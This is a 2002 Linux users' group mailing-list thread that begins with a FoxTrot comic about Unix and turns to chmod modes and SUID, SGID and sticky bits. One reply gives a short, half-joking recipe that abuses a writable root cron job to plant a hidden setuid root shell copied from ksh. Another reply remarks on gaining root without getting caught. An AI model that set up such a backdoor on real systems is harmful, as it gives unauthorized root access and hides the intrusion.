[olug] Foxtrot does *aix

[Brian Roberson]

If you find a writable root cron, then I am SURE you can find another way to
obtain root and not to get caught.....



----- Original Message -----
From: "Chris Garrity" <m0ntar3 at cox.net>
To: <olug at bstc.net>
Sent: Tuesday, February 26, 2002 10:14 PM
Subject: Re: [olug] Foxtrot does *aix


> So:
> 1. Find writeable root cron and add lines 2--4.
> 2. cp /usr/bin/ksh /path/to/some/where/.s
> 3. chown root.sys /path/to/some/where/.s
> 4. chmod ug+s /path/to/some/where/.s
> 5. /path/to/some/where/.s
> 6. set -o vi
> 7. Close the door behind you.
>
> Jonathan Warren wrote:
>
> >4 = SUID, 2 = SGID, and 1 = directory sticky bit
> >if 4 is set than if the executable is run it is run as the owner of the
executable.  if the 2 is set it runs with the group of the executable and if
the file is a directory and 1 is set only the owner of the directory or the
owner of a file in the directory may remove that file.
> >
> >to set sticky bits put them on the front of your chmod.
> >chmod 4700 *
> >
> >
> >On Tue, Feb 26, 2002 at 07:46:16PM -0600, Chris Garrity wrote:
> >
> >>To "chmod 700 *", "chmod go-rwx *", or "chmod u+rwx *" --- that's the
> >>real question. I'd guess the first would be the least ambiguous, being
> >>that its starting start (the permissions mode on affected files) is
> >>irrevelant; unlike the last two, where the resultant final state *is*
> >>dependent upon the starting state (the permissions mode) or the affected
> >>files.
> >>
> >>Now could some please explain to me the practical value of "sticky
> >>bits?" Ain't there something in their group memembership that they're
> >>all sticky about?
> >>
> >>Timothy G. O'Brien wrote:
> >>
> >>>yes it may be - and you need this link to see the correct comic strip
Jeff is pointing out (it is the strip from 25 Feb 2002):
> >>>
>
>>>http://www.ucomics.com/foxtrot/viewft.cfm?uc_full_date=20020225&uc_comic=
ft&uc_daction=X
> >>>
> >>>"Jeff Hinrichs" <jlh at cox.net> wrote:
> >>>
> >>>>Is *nix going  mainstream or what?
> >>>>http://www.ucomics.com/foxtrot/viewft.htm
> >>>>
> >>>>-Jeff
> >>>>
> >>>>
> >>>>-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
> >>>>
> >>>>For help contact olug-help at bstc.net - run by ezmlm
> >>>>to unsubscribe, send mail to olug-unsubscribe at bstc.net
> >>>>or `mail olug-unsubscribe at bstc.net < /dev/null`
> >>>>(c)2001 OLUG http://www.olug.org
> >>>>
> >>>>-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
> >>>>
> >>>>
> >>
> >>
> >>-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
> >>
> >>For help contact olug-help at bstc.net - run by ezmlm
> >>to unsubscribe, send mail to olug-unsubscribe at bstc.net
> >>or `mail olug-unsubscribe at bstc.net < /dev/null`
> >>(c)2001 OLUG http://www.olug.org
> >>
> >>-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
> >>
> >
> >-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
> >
> >For help contact olug-help at bstc.net - run by ezmlm
> >to unsubscribe, send mail to olug-unsubscribe at bstc.net
> >or `mail olug-unsubscribe at bstc.net < /dev/null`
> >(c)2001 OLUG http://www.olug.org
> >
> >-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
> >
> >
>
>
>
> -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
>
> For help contact olug-help at bstc.net - run by ezmlm
> to unsubscribe, send mail to olug-unsubscribe at bstc.net
> or `mail olug-unsubscribe at bstc.net < /dev/null`
> (c)2001 OLUG http://www.olug.org
>
> -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
>
>


-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

For help contact olug-help at bstc.net - run by ezmlm
to unsubscribe, send mail to olug-unsubscribe at bstc.net
or `mail olug-unsubscribe at bstc.net < /dev/null`
(c)2001 OLUG http://www.olug.org

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_